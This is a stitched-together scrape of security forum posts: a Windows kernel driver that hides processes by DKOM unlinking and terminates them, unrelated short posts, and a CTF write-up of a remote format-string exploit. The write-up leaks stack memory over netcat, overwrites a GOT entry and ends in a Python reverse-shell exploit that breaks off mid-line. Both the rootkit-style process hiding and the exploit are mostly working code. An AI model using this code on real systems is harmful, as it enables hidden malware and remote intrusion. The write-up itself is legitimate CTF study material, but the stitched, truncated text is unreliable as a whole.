Nytro

[h=1]Using IOCTL codes[/h][h=3]zwclose7[/h]I am studying IOCTL codes, so I written a driver to test how IOCTL codes works. This example has two parts: kernel mode driver and user mode application. The user mode application send IOCTL codes to the kernel mode driver, and the driver and perform some actions. The driver include following features: 1) Display strings in DebugView. 2) Restart the operating system. 3) Terminate running processes. 4) Hide running process using DKOM. User mode application: Usage: IOCTLTest [command] [parameters]... Commands: IOCTLTest hello [string] Send a string to the driver, which will be displayed in DebugView. IOCTLTest restart Cause the driver to call KeBugCheck with POWER_FAILURE_SIMULATE, which will restart the operating system. IOCTLTest kill [PID] Terminate a process using ZwTerminateProcess function. IOCTLTest hide [PID] Hide a process using DKOM. Installing the driver: To install the driver, open the install.bat file. This will install the driver, and then load it. Source code: Driver #include <ntifs.h>#include <ntddk.h> #define IOCTL_HELLO_WORLD CTL_CODE(FILE_DEVICE_UNKNOWN,0x900,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_RESTART_SYSTEM CTL_CODE(FILE_DEVICE_UNKNOWN,0x901,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_TERMINATE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN,0x902,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_HIDE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN,0x903,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) PDEVICE_OBJECT pDeviceObject; UNICODE_STRING dev,dos; void Unload(PDRIVER_OBJECT pDriverObject) { DbgPrint("Unload routine called.\n"); IoDeleteSymbolicLink(&dos); IoDeleteDevice(pDriverObject->DeviceObject); } NTSTATUS Create(PDEVICE_OBJECT DeviceObject,PIRP irp) { DbgPrint("Create routine called.\n"); irp->IoStatus.Status=STATUS_SUCCESS; irp->IoStatus.Information=0; IoCompleteRequest(irp,IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS Close(PDEVICE_OBJECT DeviceObject,PIRP irp) { DbgPrint("Close routine called.\n"); irp->IoStatus.Status=STATUS_SUCCESS; irp->IoStatus.Information=0; IoCompleteRequest(irp,IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS IOCTL(PDEVICE_OBJECT DeviceObject,PIRP irp) { PIO_STACK_LOCATION io; PEPROCESS ep; PLIST_ENTRY PrevListEntry,CurrentListEntry,NextListEntry; HANDLE hProcess; NTSTATUS status; ULONG MinorVersion,MajorVersion,offset,size; CLIENT_ID cid; OBJECT_ATTRIBUTES oa; DbgPrint("IOCTL routine called.\n"); io=IoGetCurrentIrpStackLocation(irp); switch(io->Parameters.DeviceIoControl.IoControlCode) { case IOCTL_HELLO_WORLD: DbgPrint("Data from user mode: %s\n",irp->AssociatedIrp.SystemBuffer); // Display the user mode message. break; case IOCTL_RESTART_SYSTEM: KeBugCheck(POWER_FAILURE_SIMULATE); // Calling KeBugCheck with POWER_FAILURE_SIMULATE will restart the computer, no BSOD is displayed. break; case IOCTL_TERMINATE_PROCESS: // Terminate a process using ZwTerminateProcess function. DbgPrint("Terminating process %d\n",*(PHANDLE)irp->AssociatedIrp.SystemBuffer); cid.UniqueProcess=*(PHANDLE)irp->AssociatedIrp.SystemBuffer; cid.UniqueThread=0; InitializeObjectAttributes(&oa,NULL,OBJ_KERNEL_HANDLE,NULL,NULL); if(!NT_SUCCESS(status=ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oa,&cid))) { irp->IoStatus.Status=status; irp->IoStatus.Information=0; IoCompleteRequest(irp,IO_NO_INCREMENT); return status; } if(!NT_SUCCESS(status=ZwTerminateProcess(hProcess,1))) { ZwClose(hProcess); irp->IoStatus.Status=status; irp->IoStatus.Information=0; IoCompleteRequest(irp,IO_NO_INCREMENT); return status; } ZwClose(hProcess); irp->IoStatus.Status=status; irp->IoStatus.Information=0; IoCompleteRequest(irp,IO_NO_INCREMENT); return status; case IOCTL_HIDE_PROCESS: // Hide a process using DKOM. DbgPrint("Hiding process %d with DKOM.\n",*(PHANDLE)irp->AssociatedIrp.SystemBuffer); if(!NT_SUCCESS(status=PsLookupProcessByProcessId(*(PHANDLE)irp->AssociatedIrp.SystemBuffer,&ep))) { irp->IoStatus.Status=status; irp->IoStatus.Information=0; IoCompleteRequest(irp,IO_NO_INCREMENT); return status; } PsGetVersion(&MajorVersion,&MinorVersion,NULL,NULL); // Detect operating system version. if(MajorVersion==5 && MinorVersion==0) { offset=0xa0; } else if(MajorVersion==5 && MinorVersion==1) { offset=0x88; } else if(MajorVersion==6 && MinorVersion==0) { offset=0xa0; } else if(MajorVersion==6 && MinorVersion==1) { offset=0xb8; } else { ObDereferenceObject(ep); irp->IoStatus.Status=STATUS_UNSUCCESSFUL; irp->IoStatus.Information=0; IoCompleteRequest(irp,IO_NO_INCREMENT); return STATUS_UNSUCCESSFUL; } CurrentListEntry=(PLIST_ENTRY)((PUCHAR)ep+offset); PrevListEntry=(PLIST_ENTRY)CurrentListEntry->Blink; NextListEntry=(PLIST_ENTRY)CurrentListEntry->Flink; PrevListEntry->Flink=(PLIST_ENTRY)CurrentListEntry->Flink; NextListEntry->Blink=(PLIST_ENTRY)CurrentListEntry->Blink; CurrentListEntry->Flink=(PLIST_ENTRY)&(CurrentListEntry->Flink); CurrentListEntry->Blink=(PLIST_ENTRY)&(CurrentListEntry->Flink); ObDereferenceObject(ep); break; default: DbgPrint("Unknown IOCTL code: %#x\n",io->Parameters.DeviceIoControl.IoControlCode); irp->IoStatus.Status=STATUS_INVALID_DEVICE_REQUEST; irp->IoStatus.Information=0; IoCompleteRequest(irp,IO_NO_INCREMENT); return STATUS_INVALID_DEVICE_REQUEST; } irp->IoStatus.Status=STATUS_SUCCESS; irp->IoStatus.Information=0; IoCompleteRequest(irp,IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath) { DbgPrint("DriverEntry called.\n"); RtlInitUnicodeString(&dev,L"\\Device\\ioctl"); RtlInitUnicodeString(&dos,L\\DosDevices\\ioctl); IoCreateDevice(pDriverObject,0,&dev,FILE_DEVICE_UNKNOWN,FILE_DEVICE_SECURE_OPEN,FALSE,&pDeviceObject); IoCreateSymbolicLink(&dos,&dev); pDriverObject->MajorFunction[iRP_MJ_CREATE]=Create; pDriverObject->MajorFunction[iRP_MJ_CLOSE]=Close; pDriverObject->MajorFunction[iRP_MJ_DEVICE_CONTROL]=IOCTL; pDriverObject->DriverUnload=Unload; pDeviceObject->Flags|=DO_DIRECT_IO; pDeviceObject->Flags&=~DO_DEVICE_INITIALIZING; DbgPrint("IOCTL Test driver loaded.\n"); return STATUS_SUCCESS; } Application #include <stdio.h>#include <Windows.h> #define IOCTL_HELLO_WORLD CTL_CODE(FILE_DEVICE_UNKNOWN,0x900,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_RESTART_SYSTEM CTL_CODE(FILE_DEVICE_UNKNOWN,0x901,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_TERMINATE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN,0x902,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_HIDE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN,0x903,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) int main(int argc,char* argv[]) { HANDLE hFile; DWORD dw,pid; BOOL bResult; if(argc<2) { printf("\nUsage: IOCTLTest [command] [parameter]\n"); return 1; } hFile=CreateFile("\\\\.\\ioctl",GENERIC_ALL,0,NULL,OPEN_EXISTING,0,NULL); if(hFile==INVALID_HANDLE_VALUE) { printf("\nError: Unable to open the IOCTL Test driver. (%d)\n",GetLastError()); return 1; } if(!stricmp("hello",argv[1])) { bResult=DeviceIoControl(hFile,IOCTL_HELLO_WORLD,argv[1],strlen(argv[1]),NULL,0,&dw,NULL); if(!bResult) { printf("\nError: %d\n",GetLastError()); CloseHandle(hFile); return 1; } printf("Successfully sent control code to driver.\n"); CloseHandle(hFile); return 0; } if(!stricmp("restart",argv[1])) { bResult=DeviceIoControl(hFile,IOCTL_RESTART_SYSTEM,NULL,0,NULL,0,&dw,NULL); if(!bResult) { printf("\nError: %d\n",GetLastError()); CloseHandle(hFile); return 1; } printf("\nSuccessfully sent control code to driver.\n"); CloseHandle(hFile); return 0; } if(!stricmp("kill",argv[1])) { pid=atoi(argv[2]); bResult=DeviceIoControl(hFile,IOCTL_TERMINATE_PROCESS,&pid,sizeof(DWORD),NULL,0,&dw,NULL); if(!bResult) { printf("\nError: %d\n",GetLastError()); CloseHandle(hFile); return 1; } printf("\nSuccessfully sent control code to driver.\n"); CloseHandle(hFile); return 0; } if(!stricmp("hide",argv[1])) { pid=atoi(argv[2]); bResult=DeviceIoControl(hFile,IOCTL_HIDE_PROCESS,&pid,sizeof(DWORD),NULL,0,&dw,NULL); if(!bResult) { printf("\nError: %d\n",GetLastError()); CloseHandle(hFile); return 1; } printf("\nSuccessfully sent control code to driver.\n"); CloseHandle(hFile); return 0; } return 0; } [h=4]Attached Files[/h] IOCTLTest.zip 348.52K 1 downloads Sursa: Using IOCTL codes - rohitab.com - Forums

Da, si eu o vreau, doar sa vad daca are backdoor. <?phpif ( is_user_logged_in() ) { echo ' <p><iframe src="http://www.episodecalendar.com/icalendar/jitariudanielsorin@gmail.com/EmT6nyoPKhePXtSdMxjn/?v=dark" height="630" width="100%" frameborder="0" scrolling="yes"></iframe></p> <center><h6 style="color: #ed285e;">Aparita episoadelor pe site poate sa intarzie o zi sau doua din cauza lipsei subtitrarilor pe site-urile de profil !</h3></center>'; } else { echo ' <p><h3><center>Trebuie sa fii <a href="/login">autentificat</a> pentru a vedea orarul !</center></h3></p>'; }; ?>

In foarte putine cazuri. In schimb, programul te ajuta cu foarte multe detalii despre executabil. Nu inteleg un lucru: de ce nu are GUI? E pentru Windows, sunt o grama de alte utilitare mai simplu de folosit, cu GUI.

Puteti folosi asta pentru a le verifica: https://rstforums.com/forum/19283-php-simple-proxy-checker.rst

Cum ai "Thread display mode" ? Aici: https://rstforums.com/forum/profile.php?do=editoptions

Amnesia - Layer 1 Binary Analysis System Description: Introducing Amnesia, a Layer 1 binary analysis system. Amnesia was designed for the initial analysis of unknown an EXE or DLL. It offers you the ability to view and search for strings, imports, exports, metadata, checksums and to even disassemble the code. This helpful for getting an overview of the file before diving in deeper with a debugger or a dynamic analysis framework. Read more at: Amnesia – Layer 1 binary analysis | R3OATH Available for download at: https://github.com/r3oath/Amnesia Sursa: Amnesia - Layer 1 Binary Analysis System

Attacking And Defending Full Disk Encryption - Tom Kopchak Description: Attacking and Defending Full Disk Encryption - Tom Kopchak For More Information please visit : Bsides Las Vegas 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) BSidesLV Sursa: Attacking And Defending Full Disk Encryption - Tom Kopchak

[h=3][Root-Me] Remote Binary 2 - An advanced remote format string example [/h]Hello, Today, we're going to exploit a remote format string! It sures changes from classic format strings. Anyhow, this is a perfect example of a fully reliable remote exploit using info leaking capabilities. Like other posts, I will try to explain and develop (almost) the entire exploit development process. I hope you like this formula, otherwise tell me. On to the show, [h=2]The target[/h] The challenge is located here: Remote Binary 2 . The binary is not protected at all, the difficulty lies in that it is in a remote location. Here is the source code: #include <stdio.h>#include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/wait.h> #include <arpa/inet.h> #include <unistd.h> #define LISTEN_PORT 56006 #define LENGTH 1024 extern char **environ; int ssock; int recv_loop(void) { int csock; struct sockaddr_in caddr; socklen_t clen = sizeof(caddr); char input[LENGTH]; char output[LENGTH]; while(1) { if( (csock = accept(ssock, (struct sockaddr *) &caddr, &clen)) < 0) { perror("accept()"); exit(1); } memset(input, '\0', LENGTH); memset(output, '\0', LENGTH); recv(csock, input, LENGTH-1, 0); snprintf (output, sizeof (output), input); output[sizeof (output) - 1] = '\0'; send(csock, output, LENGTH-1, 0); close(csock); } return 0; } int main(void) { int i, pid, yes = 1; struct sockaddr_in saddr; for(i=0; environ != NULL; i++) { memset(environ, '\0', strlen(environ)); } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = htonl(INADDR_ANY); saddr.sin_port = htons(LISTEN_PORT); while(1) { pid = fork(); if( pid == 0 ) { printf("run (pid=%d)\n", getpid()); if( (ssock = socket(PF_INET, SOCK_STREAM, 0)) < 0) { perror("socket()"); exit(1); } if(setsockopt(ssock, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) <0) { perror("setsockopt()"); exit(1); } if( bind(ssock, (struct sockaddr*) &saddr, sizeof(saddr)) < 0) { perror("bind()"); exit(1); } if( listen(ssock, 5) < 0) { perror("listen()"); exit(1); } recv_loop(); } else { wait(NULL); close(ssock); } } return 0; } As we can see, these are infinite loops and it fork() for each received request. environ is set to 0 so we can't use it for our shellcode. I won't bother you too much with the ASM as you can guess but basically: while (1) { // code } loop: // code jmp loop This is important to mention as there won't be a SEIP that we can really use as the functions never return there. Also, since it forks at each and every request, it means we could bruteforce the child address space. We are not going to do that: it is not really clean, there is a better solution as you will see through reading the rest of this article. Looking a bit further, we locate the vulnerability in recv_loop(), we control the format string! There a no overflow however and memory is reset to 0 at each iteration. There is even some basic error checking to see if accept() succeed. From there we can devise an attack strategy: - we can write anywhere: let's patch a GOT entry! We have the choice - thing is, if we patch send(), close() or accept(), we have to set up our payload and execute in one go, we cannot check for proper write before for instance (first rule of an exploit: reliability). - lucky for us, if accept() fail then it perror() and exit(), we just need to patch ssock to make accept() fail. We thus can trigger our payload whenever we want. Thing is, before we can do all that, we need addresses! [h=2]Infoleak to the rescue[/h] Format strings are useful for reading AND writing!!! So we are going to dump part of the stack. This is especially useful for remote processes, ASLR+PIE+DEP binaries for instance as it allows to completely bypass those protections altogether. The technique I used here to dump the stack is through the "direct parameter access". # we leak part of the stackfor index in {1..746}; do echo "index $index = %$index\$x" | nc -v 127.0.0.1 56006 >> dump.raw; done # we extract only our data (and not the '\x00'..) strings dump.raw > dump.log There are other techniques such as using %s format string for dumping arbitrary valid memory locations. This is more hardcore though, I haven't tried it yet. Here we got a text file, we would like to have a binary dump: #!/usr/bin/pythonimport sys import struct if len (sys.argv) != 3: print 'Usage: {0} input output'.format (sys.argv[0]) exit (1) (progname, input_filename, output_filename) = sys.argv # parse dump.log values = [] with open (input_filename, 'r') as fp: content = fp.read() content = content.replace ('\\n', '') content = content.split ('\n') for line in content: fields = line.split ('=') if len (fields) != 2: continue value = fields[1].strip () # value = struct.pack ('<I', value) value = int (value, 16) values.append (value) # reconstruct stack with open (output_filename, 'wb') as fpw: for value in values: bin_val = struct.pack ("<I", value) fpw.write (bin_val) print '{0} parsed to {1}'.format (input_filename, output_filename) As you can see, it is a much more usable format: $ ./stack-rebuild.py dump.log dump.bindump.log parsed to dump.bin$ hexdump -C dump.bin00000000 00 00 00 00 00 00 00 00 00 00 00 00 34 20 3d 20 |............4 = |00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*00000400 00 00 00 00 00 00 00 00 00 00 00 00 32 36 30 20 |............260 |00000410 3d 20 25 32 36 32 24 78 5c 6e 0a 00 00 00 00 00 |= %262$x\n......|00000420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*00000800 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 |................|00000810 02 00 8b 6e 7f 00 00 01 00 00 00 00 00 00 00 00 |...n............|00000820 03 00 00 00 f4 1f fd b7 d7 ff ff bf e8 fc ff bf |................|00000830 38 8a 04 08 00 00 00 00 05 00 00 00 10 00 00 00 |8...............|00000840 d4 fc ff bf 04 00 00 00 f4 9f 04 08 01 00 00 00 |................|00000850 55 85 04 08 e4 23 fd b7 0d 00 00 00 f4 9f 04 08 |U....#..........|00000860 ff ff ff ff ff ff ff ff 02 00 da c6 00 00 00 00 |................|00000870 25 02 e6 b7 80 d2 fe b7 01 00 00 00 00 00 00 00 |%...............|00000880 0b 00 00 00 60 8a 04 08 00 00 00 00 00 00 00 00 |....`...........|00000890 d3 64 e4 b7 01 00 00 00 84 fd ff bf 8c fd ff bf |.d..............|000008a0 58 c8 fd b7 00 00 00 00 1c fd ff bf 8c fd ff bf |X...............|000008b0 00 00 00 00 6c 83 04 08 f4 1f fd b7 00 00 00 00 |....l...........|000008c0 00 00 00 00 00 00 00 00 15 44 9e 14 05 80 ae 23 |.........D.....#|000008d0 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 |................|000008e0 b0 86 04 08 00 00 00 00 b0 26 ff b7 e9 63 e4 b7 |.........&...c..|000008f0 f4 ef ff b7 01 00 00 00 b0 86 04 08 00 00 00 00 |................|00000900 d1 86 04 08 63 88 04 08 01 00 00 00 84 fd ff bf |....c...........|00000910 60 8a 04 08 d0 8a 04 08 80 d2 fe b7 7c fd ff bf |`...........|...|00000920 18 f9 ff b7 01 00 00 00 8c fe ff bf 00 00 00 00 |................|00000930 b1 fe ff bf bc fe ff bf cc fe ff bf e1 fe ff bf |................|00000940 1f ff ff bf 3e ff ff bf 5e ff ff bf 6f ff ff bf |....>...^...o...|00000950 90 ff ff bf 98 ff ff bf b0 ff ff bf 00 00 00 00 |................|00000960 20 00 00 00 14 d4 fd b7 21 00 00 00 00 d0 fd b7 | .......!.......|00000970 10 00 00 00 ff fb eb 0f 06 00 00 00 00 10 00 00 |................|00000980 11 00 00 00 64 00 00 00 03 00 00 00 34 80 04 08 |....d.......4...|00000990 04 00 00 00 20 00 00 00 05 00 00 00 09 00 00 00 |.... ...........|000009a0 07 00 00 00 00 e0 fd b7 08 00 00 00 00 00 00 00 |................|000009b0 09 00 00 00 b0 86 04 08 0b 00 00 00 00 04 00 00 |................|000009c0 0c 00 00 00 00 04 00 00 0d 00 00 00 00 04 00 00 |................|000009d0 0e 00 00 00 00 04 00 00 17 00 00 00 00 00 00 00 |................|000009e0 19 00 00 00 6b fe ff bf 1f 00 00 00 d7 ff ff bf |....k...........|000009f0 0f 00 00 00 7b fe ff bf 00 00 00 00 00 00 00 00 |....{...........|00000a00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 |................|00000a10 0f 0c 84 d2 b3 75 b5 2e 54 cf 42 17 94 c5 10 69 |.....u..T.B....i|00000a20 36 38 36 00 00 00 00 00 00 00 00 00 00 00 00 00 |686.............|00000a30 2f 63 68 61 6c 6c 65 6e 67 65 2f 72 62 69 6e 61 |/challenge/rbina|00000a40 72 79 2f 72 62 69 6e 61 72 79 32 2f 72 62 69 6e |ry/rbinary2/rbin|00000a50 61 72 79 32 00 00 00 00 00 00 00 00 00 00 00 00 |ary2............|00000a60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*00000b70 00 00 00 00 00 00 00 00 00 00 00 2f 63 68 61 6c |.........../chal|00000b80 6c 65 6e 67 65 2f 72 62 69 6e 61 72 79 2f 72 62 |lenge/rbinary/rb|00000b90 69 6e 61 72 79 32 2f 72 62 69 6e 61 72 79 32 00 |inary2/rbinary2.|00000ba0 00 00 00 00 |....| Now, let dig through it for stack addresses: $ grep '= bf' dump.log523 = bfffffd7\n 524 = bffffce8\n 529 = bffffcd4\n 551 = bffffd84\n 552 = bffffd8c\n 555 = bffffd1c\n 556 = bffffd8c\n 580 = bffffd84\n 584 = bffffd7c\n 587 = bffffe8c\n 589 = bffffeb1\n 590 = bffffebc\n 591 = bffffecc\n 592 = bffffee1\n 593 = bfffff1f\n 594 = bfffff3e\n 595 = bfffff5e\n 596 = bfffff6f\n 597 = bfffff90\n 598 = bfffff98\n 599 = bfffffb0\n 634 = bffffe6b\n 636 = bfffffd7\n 638 = bffffe7b\n Neat, we have a couple of stack addresses. For now, we don't know to what they map to. Anyhow, we mainly need offsets now to esp, ebp, input_buffer and output_buffer. Let's see how to get them from rbinary2. [h=2]Getting addresses offsets out of the binary[/h] [h=3]Addresses[/h] For extracting addresses we'are interested in, we are going to use GDB for disassembly and readelf for GOT addresses. Let's disassemble it! (I've cutted part of the disassembly, only showing parts of interest) gdb$ disassemble recv_loopDump of assembler code for function recv_loop: 0x08048764 <+0>: push ebp 0x08048765 <+1>: mov ebp,esp 0x08048767 <+3>: push edi 0x08048768 <+4>: push ebx 0x08048769 <+5>: sub esp,0x830 0x0804876f <+11>: mov DWORD PTR [ebp-0x20],0x10 0x08048776 <+18>: mov eax,ds:0x804a064<...> 0x080487a6 <+66>: mov DWORD PTR [esp],0x1 0x080487ad <+73>: call 0x80485f0 <exit@plt> ; memset 0x080487b2 <+78>: lea eax,[ebp-0x420] 0x080487b8 <+84>: mov ebx,eax 0x080487ba <+86>: mov eax,0x0 0x080487bf <+91>: mov edx,0x100 0x080487c4 <+96>: mov edi,ebx 0x080487c6 <+98>: mov ecx,edx 0x080487c8 <+100>: rep stos DWORD PTR es:[edi],eax ; memset 0x080487ca <+102>: lea eax,[ebp-0x820] 0x080487d0 <+108>: mov ebx,eax 0x080487d2 <+110>: mov eax,0x0 0x080487d7 <+115>: mov edx,0x100 0x080487dc <+120>: mov edi,ebx 0x080487de <+122>: mov ecx,edx 0x080487e0 <+124>: rep stos DWORD PTR es:[edi],eax<...> 0x0804885e <+250>: jmp 0x8048776 <recv_loop+18>End of assembler dump. Let's get GOT addresses! rbinary2@challenge02:~$ readelf -r ~/rbinary2 Relocation section '.rel.dyn' at offset 0x47c contains 2 entries: Offset Info Type Sym.Value Sym. Name08049ff0 00000806 R_386_GLOB_DAT 00000000 __gmon_start__0804a058 00001705 R_386_COPY 0804a058 __environ Relocation section '.rel.plt' at offset 0x48c contains 20 entries: Offset Info Type Sym.Value Sym. Name0804a000 00000107 R_386_JUMP_SLOT 00000000 setsockopt0804a004 00000207 R_386_JUMP_SLOT 00000000 printf0804a008 00000307 R_386_JUMP_SLOT 00000000 wait0804a00c 00000407 R_386_JUMP_SLOT 00000000 htons0804a010 00000507 R_386_JUMP_SLOT 00000000 perror0804a014 00000607 R_386_JUMP_SLOT 00000000 accept0804a018 00000707 R_386_JUMP_SLOT 00000000 getpid0804a01c 00000807 R_386_JUMP_SLOT 00000000 __gmon_start__0804a020 00000907 R_386_JUMP_SLOT 00000000 exit0804a024 00000a07 R_386_JUMP_SLOT 00000000 __libc_start_main0804a028 00000b07 R_386_JUMP_SLOT 00000000 bind0804a02c 00000c07 R_386_JUMP_SLOT 00000000 memset0804a030 00000d07 R_386_JUMP_SLOT 00000000 snprintf0804a034 00000e07 R_386_JUMP_SLOT 00000000 fork0804a038 00000f07 R_386_JUMP_SLOT 00000000 htonl0804a03c 00001007 R_386_JUMP_SLOT 00000000 listen0804a040 00001107 R_386_JUMP_SLOT 00000000 socket0804a044 00001207 R_386_JUMP_SLOT 00000000 recv0804a048 00001307 R_386_JUMP_SLOT 00000000 close0804a04c 00001407 R_386_JUMP_SLOT 00000000 send From there, we can extract ssock address (remember it is a global variable from C source code) and perror() GOT address. # addressesperror_got = 0x804a010ssock_addr = 0x804a064 Now onto offsets. [h=3]Offsets[/h] In order to extract offsets, it would be great to attach gdb to our running rbinary2. Unfortunately, we have no clue as to what is the pid of our rbinary2. Most people will rejoice at the idea that we have the source code and can recompile it. It's the WRONG WAY. Simply because we have absolutely no clues as to what were the compilation flags used. As such, the compiled binary could be completely different to the existing rbinary2, neither the code or offsets will be the same (due to optimizations and other funky compiler features). The BETTER WAY, would be to use the actual binary, patch the network port on which to bind and voilà! We know the original binary bind to port 56006 (0xDAC6), we thus have to search for \xC6\xDA in the binary (don't forget that it's in little endian here) and change it to whatever port we want it to bind. From there, we can actually debug our target and step through it. I didn't use much the debugger other than for the purpose of getting offsets. Here how to do it through GDB. First we look at the ASM code to see where to break. We are going to break at address 0x0804876f as we will have the correct value of ESP computed. We dump part of the stack: gdb ~/rbinary2gdb$ x/1000wx $esp0xbffff420: 0x00000000 0x00000000 0x00000000 0x000000000xbffff430: 0x00000000 0x00000000 0x00000000 0x00000000<...>0xbffffc50: 0xb7fd1ff4 0xbfffffe8 0xbffffcb8 0x08048a38<...>0xbfffffe0: 0x00000000 0x00000000 0x706d742f 0x2f32722f0xbffffff0: 0x63746170 0x2e646568 0x006e6962 0x00000000 We have to localize where is our format string dumped stack from earlier, basically, 0x0848a38 is located in our format string stack dump! Doing some calculation, we can find the start of our stack dump: [TABLE] [TR] [TD=class: gutter] [/TD] [TD=class: code]0xbffffc58 - 523 * 4 = 0xbffff42c = start of format stack [/TD] [/TR] [/TABLE] We will use 0xbffffcb8 to compute our addresses as in our format string dump stack, the stack pointer preceding it is not aligned on a 4-bytes boundary. Now we can have ESP offset: [TABLE] [TR] [TD=class: gutter] [/TD] [TD=class: code]0xbffffcb8 - 0xbffff420 = offset to esp = 0x898 = 2200 [/TD] [/TR] [/TABLE] From there, we can deduce EBP, the input buffer address and the output buffer address through these formulas: esp = leaked_addr - 0x898ebp = esp + 0x838input_buf = ebp - 0x420output_buf = ebp - 0x820landing = input_buf + 100 The landing address is arbitrary, we leave 100 bytes for the format string (but you can adjust it as long as it doesn't end up after the input_buf bounds. We got all our offsets and thus can compute all the necessary addresses! What is left? Oh right, our format strings for first patching the GOT entry then the other one for triggering the payload by patching ssock! [h=2]Advanced format strings techniques[/h] First we need to find the offset (compared to the format string stack pointer) at which we can find our format string. For that, we are going to use TESO format string techniques for finding offset using the following pattern: [TABLE] [TR] [TD=class: gutter] [/TD] [TD=class: code]<needle><stackpop>|%08x [/TD] [/TR] [/TABLE] We change the stackpop after each iteration, after some time we should see the needle. Here, ou needle is "AAAABBBBCCCC". Let's try: [TABLE] [TR] [TD=class: gutter] [/TD] [TD=class: code]rbinary2@challenge02:/tmp$ for index in {1..10}; do printf "$index:" >> dump3.raw && python -c 'print "A" * 4 + "B" * 4 + "C" * 4 + "%u" * '`echo $index`' + "|%08x"' | nc 127.0.0.1 56006 >> dump3.raw; done [/TD] [/TR] [/TABLE] We can see this: rbinary2@challenge02:/tmp$ strings dump3.raw1:AAAABBBBCCCC0|000000002:AAAABBBBCCCC00|000000003:AAAABBBBCCCC000|414141414:AAAABBBBCCCC0001094795585|424242425:AAAABBBBCCCC00010947955851111638594|434343436:AAAABBBBCCCC000109479558511116385941128481603|313030307:AAAABBBBCCCC000109479558511116385941128481603825241648|373439308:AAAABBBBCCCC000109479558511116385941128481603825241648926169392|383535399:AAAABBBBCCCC000109479558511116385941128481603825241648926169392943011129|3131313510:AAAABBBBCCCC000109479558511116385941128481603825241648926169392943011129825307445|38333631 So we can infer that after 2 stackpop (%u), we are at the beginning of our format stack. Now for our writing format string, here is the pattern used (still from TESO): [TABLE] [TR] [TD=class: code]<padding><stackpop><pair of value and address * 2><write code> [/TD] [/TR] [/TABLE] We only use 2 pairs as we are going to use short writes (in order to avoid trashing more bytes than necessary). After playing around, we end up with the following format strings: [TABLE] [TR] [TD=class: code]got_patch = "A%u%u%u<dummy><got_addr+2><dummy><got_addr><write1><write2>" payload_trigger = "A%u%u%u<dummy>&ltssock_addr><write><payload>" [/TD] [/TR] [/TABLE] What is left is for the writes calculation. Let's say we want to land on address 0xBFFFF8CC, here how I compute the 2 lengths: # format elementspadding = 'A' stackpop = '%u%u%u' pairs = '{0}{0}{1}{1}'.format ( struct.pack ("<I", perror_got + 2), struct.pack ("<I", perror_got) ) # length calculation for correct address generation print '[+] Calculating lengths' landing1 = ((landing & 0xffff0000) >> 16) len1 = landing1 - len (padding + stackpop + pairs) + 3 # 3 for '%hn' len2 = (landing & 0xffff) - landing1 ow we have everything we need for a full reliable remote exploit for this challenge. Here it is. [h=2]The exploit[/h] I hardcoded the payload (it is a reverse shell) but you can modify the exploit as you like. Just don't forget to wait with netcat listening: [TABLE] [TR] [TD=class: gutter] [/TD] [TD=class: code]nc -v -l -p [lport] [/TD] [/TR] [/TABLE] #!/usr/bin/pythonfrom socket import * import struct import sys # read from binary file def read_values_from_binfile (filename): # fill values array values = [] with open (filename, 'rb') as fpr: content = fpr.read() span = 4 values = [ struct.unpack ('<I', content[i:i+span])[0] for i in range(0, len(content), span) ] return values # leak stack through format string def leak_addresses (host, port, start = 1, end = 746): values = [] for idx in range (start, end): csock = socket (AF_INET, SOCK_STREAM) csock.connect ( (host, port) ) fmt = '%{0}$x'.format (idx) csock.send (fmt) raw = csock.recv(8) # search c string value = '' for c in raw: if c == '\x00': break value += c values.append ( int (value, 16) ) csock.close () return values def filter_addr (addr_list, base_addr): filtered = [] for value in values: if value & 0xff000000 == base_addr: filtered.append (value) return filtered if len (sys.argv) == 2: (progname, filename) = sys.argv elif len (sys.argv) == 4: (progname, host, port, lport) = sys.argv port = int (port, 10) lport = int (lport, 10) lport = struct.pack ('>H', lport) print 'lport: {0}'.format (lport) else: print 'Usage (2 args): {0} dump_name'.format (sys.argv[0]) print 'Usage (3 args): {0} host port lport'.format (sys.argv[0]) exit (1) print '[+] Leaking part of stack' if 'filename' in locals(): values = read_values_from_binfile (filename) elif 'host' in locals() and 'port' in locals(): values = leak_addresses ( host, port ) else: print 'Failed execution' exit (1) # filter out only stack address stack_addr_list = filter_addr (values, 0xbf000000) libs = filter_addr (values, 0xb7000000) ''' dirty hack to get stack address better: align values to array of offsets and determine correct stack address ''' leaked_addr = values[523] print '[+] Got leaked address' # compute buffer addresses print '[+] Computing addresses' esp = leaked_addr - 0x898 ebp = esp + 0x838 input_buf = ebp - 0x420 output_buf = ebp - 0x820 landing = input_buf + 100 print ' esp : 0x{0:x}'.format (esp) print ' ebp : 0x{0:x}'.format (ebp) print ' input : 0x{0:x}'.format (input_buf) print ' output : 0x{0:x}'.format (output_buf) print ' landing: 0x{0:x}'.format (landing) # addresses perror_got = 0x804a010 ssock_addr = 0x804a064 # format elements padding = 'A' stackpop = '%u%u%u' pairs = '{0}{0}{1}{1}'.format 